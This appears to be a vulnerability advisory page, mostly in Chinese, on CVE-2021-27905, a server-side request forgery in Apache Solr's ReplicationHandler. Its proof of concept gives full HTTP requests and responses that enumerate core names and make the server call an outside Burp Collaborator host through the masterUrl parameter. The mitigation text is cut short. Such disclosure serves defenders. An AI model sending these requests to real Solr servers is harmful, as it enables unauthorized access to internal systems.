
[CVE-2021-27905] Apache Solr ReplicationHandler Server Side Request Forgery (SSRF)
[CVE-2021-27905] Apache Solr ReplicationHandler 服务器端请求伪造(SSRF)
访问计数器
Apache Solr(全称 Searching On Lucene with Replication)是一个基于 Apache Lucene 库的免费开源搜索引擎,使用 Java 编写。Apache Solr 提供 RESTful XML/HTTP 和 JSON API,并支持多种编程语言的客户端库,例如 Java、Python、Ruby、C#、PHP 等,广泛用于构建基于搜索和大数据分析的应用程序,涵盖网站、数据库、文件等场景。
Apache Solr 所有早于 8.8.2 的版本(7.0.0 至 7.7.3 以及 8.0.0 至 8.8.1) 均存在服务器端请求伪造(SSRF)漏洞。成功利用此漏洞可能导致攻击者在受影响应用内部或该应用可通信的其他后端系统上执行未授权操作或访问数据。
ReplicationHandler(通常在 Solr 核心下注册于 /replication 路径)包含一个 masterUrl(别名 leaderUrl)参数,用于指定另一个 Solr 核心上的 ReplicationHandler,以将索引数据复制到本地核心。为防止 SSRF 漏洞,Solr 本应对这些参数进行类似于 shards 参数的配置校验,但在此漏洞修复之前并未执行此类检查。
概念验证(PoC): 要利用此漏洞,攻击者需要知道 Apache Solr 的核心名称。因此,可以使用以下请求来确定核心名称。
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

确定核心名称后,只需选择一个,并向以下端点发送请求:/solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


缓解措施: 以下任意一项均足以防止此漏洞
8.8.2 或更高版本。参考资料: